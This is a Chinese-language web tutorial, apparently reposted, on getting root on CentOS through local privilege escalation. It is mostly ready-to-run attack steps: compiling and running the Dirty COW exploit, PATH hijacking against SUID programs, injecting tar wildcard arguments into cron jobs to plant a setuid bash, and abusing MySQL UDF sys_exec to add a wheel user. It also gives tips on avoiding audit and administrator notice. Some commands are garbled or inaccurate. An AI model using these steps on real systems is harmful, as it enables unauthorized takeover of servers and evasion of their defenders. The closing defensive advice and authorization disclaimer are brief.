如何利用CentOS Exploit漏洞提升权限
导读:利用CentOS Exploit漏洞提升权限的常见方法及步骤 在合法授权的前提下,针对CentOS系统的本地提权(Local Privilege Escalation, LPE),常见漏洞利用方法可分为以下几类,每种方法均需结合系统环境(如...
    
利用CentOS Exploit漏洞提升权限的常见方法及步骤
在合法授权的前提下,针对CentOS系统的本地提权(Local Privilege Escalation, LPE),常见漏洞利用方法可分为以下几类,每种方法均需结合系统环境(如内核版本、软件配置)调整:
1. 内核漏洞提权(最常见且有效)
内核漏洞是提权的“黄金路径”,尤其是针对旧版本CentOS(如6.x、7.x)的内核缺陷。其中**Dirty COW(CVE-2016-5195)**是最经典的例子,适用于CentOS 5~7系列,利用写时拷贝(CoW)机制的条件竞争,将只读内存映射改为可写,进而获取root权限。
操作步骤(以CentOS 6.8为例):
- 环境准备:获取普通用户Shell,确认内核版本(
uname -a),下载对应exp(如GitHub上的dirtycow.c或Exploit-DB的40839.c)。 - 编译exp:使用gcc编译exp文件(
gcc -pthread dirtycow.c -o dirtycow -lcrypt)。 - 执行提权:运行编译后的exp(
./dirtycow),按提示输入新密码(如testtest),exp会自动修改/etc/passwd文件,创建名为firefart的root用户。 - 登录验证:使用SSH工具登录目标服务器,输入用户名
firefart和密码testtest,通过id命令确认权限(uid=0(root))。 
注意事项:
- 内核提权可能导致系统崩溃,建议在测试环境中验证;
 - 需提前安装gcc编译环境(
yum install gcc); - 新版本CentOS(如8.x)需适配其他内核漏洞(如CVE-2021-27365 iSCSI堆溢出),但步骤类似。
 
2. SUID程序提权(利用权限继承缺陷)
SUID(Set User ID)程序允许普通用户以文件所有者(通常为root)的权限执行。若SUID程序存在缺陷(如调用系统命令未使用绝对路径),可通过劫持环境变量或命令实现提权。
操作步骤(以CentOS 7为例):
- 查找SUID程序:使用
find / -user root -perm -4000 -print 2> /dev/null命令,筛选出root所有且具有SUID权限的文件(如vim.tiny、find、bash)。 - 构造恶意命令:选择易被劫持的SUID程序(如
vim.tiny),在/tmp目录下创建恶意脚本(echo "/bin/bash" > /tmp/vim),并赋予执行权限(chmod 777 /tmp/vim)。 - 劫持环境变量:将
/tmp目录添加到PATH环境变量最前面(export PATH=/tmp:$PATH),确保系统优先执行/tmp下的命令。 - 触发提权:执行SUID程序(如
vim.tiny),输入:set shell=/bin/bash,再输入:shell,即可获得root Shell。 
注意事项:
- 需确认SUID程序是否调用外部命令(如
system("cat /etc/passwd")); - 避免直接修改系统关键文件,防止触发审计机制。
 
3. 计划任务(Cron Jobs)提权(利用配置错误)
若系统的cron定时任务配置不当(如允许普通用户写入脚本),可通过植入恶意脚本实现提权。
操作步骤(以CentOS 7为例):
- 查找cron任务:查看系统cron配置(
cat /etc/crontab)或用户cron任务(crontab -l),寻找可写入的目录(如/opt/cron_test)。 - 植入恶意脚本:在可写入目录下创建恶意脚本(如
evil.sh),内容为创建root权限的bash文件(cp /bin/bash /tmp/rootbash & & chmod 4755 /tmp/rootbash)。 - 劫持执行流程:在目标目录下创建劫持文件(如
touch -- "--checkpoint=1" -- "--checkpoint-action=exec=sh evil.sh"),触发cron任务执行恶意脚本。 - 验证提权:等待cron执行完成后,使用
/tmp/rootbash -p获得root Shell。 
注意事项:
- 需确认cron任务的执行权限(如
/opt/cron_test是否属于root且可写); - 避免直接修改系统cron文件,防止被管理员发现。
 
4. 第三方软件漏洞提权(如MySQL UDF、Apache模块)
第三方软件(如MySQL、Apache)的漏洞也可能导致提权,常见于软件以高权限(如root)运行时,未正确限制用户输入。
操作步骤(以MySQL UDF为例):
- 确认MySQL权限:检查MySQL是否以root用户运行(
ps aux | grep mysql),并获取root密码(通过配置文件或爆破)。 - 上传UDF插件:使用sqlmap或其他工具上传恶意UDF插件(如
lib_mysqludf_sys.so)到MySQL插件目录(需root权限)。 - 创建函数:通过MySQL执行
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys.so';,创建可执行系统命令的函数。 - 执行提权命令:通过
SELECT sys_exec('useradd -m attacker -G wheel; echo "attacker:password" | chpasswd');创建root用户并设置密码。 - 登录验证:使用新创建的用户通过SSH登录,确认root权限。
 
注意事项:
- 需确认MySQL插件目录的写入权限(如
/usr/lib64/mysql/plugin/); - 避免直接执行危险命令(如
rm -rf /),防止系统崩溃。 
5. 环境变量劫持提权(利用PATH顺序)
若SUID程序或sudo脚本未使用绝对路径调用系统命令,可通过修改PATH环境变量,将恶意程序放在优先查找的目录(如/tmp),诱骗高权限程序执行恶意代码。
操作步骤(以CentOS 7为例):
- 查找SUID程序:使用
find / -perm -u=s -type f 2> /dev/null命令,筛选出调用外部命令的SUID程序(如demo程序,代码中包含system("cat /etc/passwd"))。 - 创建恶意命令:在
/tmp目录下创建恶意程序(如echo "/bin/bash" > /tmp/cat),并赋予执行权限(chmod 777 /tmp/cat)。 - 劫持PATH:将
/tmp目录添加到PATH环境变量最前面(export PATH=/tmp:$PATH)。 - 触发提权:执行SUID程序(如
./demo),程序会优先执行/tmp/cat,从而获得root Shell。 
注意事项:
- 需确认SUID程序是否调用未指定路径的命令;
 - 避免修改系统全局
PATH变量,防止影响其他用户。 
防御建议(避免被利用)
- 定期更新系统:及时安装内核及软件补丁(
yum update),修复已知漏洞; - 限制SUID程序:避免给不必要的程序设置SUID权限(
chmod u-s /path/to/program); - 规范cron配置:禁止普通用户向系统cron目录写入文件(
chmod 700 /etc/cron*); - 使用绝对路径:编写脚本或程序时,始终使用命令的绝对路径(如
/bin/cat而非cat); - 监控异常行为:通过auditd监控
/etc/passwd、/etc/shadow等关键文件的修改,及时发现提权尝试。 
以上方法均需在合法授权范围内使用,严禁用于非法攻击。渗透测试前务必获得目标系统的明确授权,避免触犯法律。
声明:本文内容由网友自发贡献,本站不承担相应法律责任。对本内容有异议或投诉,请联系2913721942#qq.com核实处理,我们将尽快回复您,谢谢合作!
若转载请注明出处: 如何利用CentOS Exploit漏洞提升权限
本文地址: https://pptw.com/jishu/742073.html
